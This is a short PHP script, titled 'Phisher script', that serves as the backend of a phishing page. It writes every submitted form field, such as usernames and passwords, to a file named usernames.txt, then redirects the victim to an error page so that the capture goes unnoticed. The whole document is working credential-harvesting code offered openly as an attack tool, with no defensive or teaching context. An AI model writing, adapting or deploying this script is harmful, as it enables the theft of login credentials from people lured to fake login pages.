Phisher script

<?php
header ('Location: http://www.myhost.com/errorpage.html');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value)
{
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>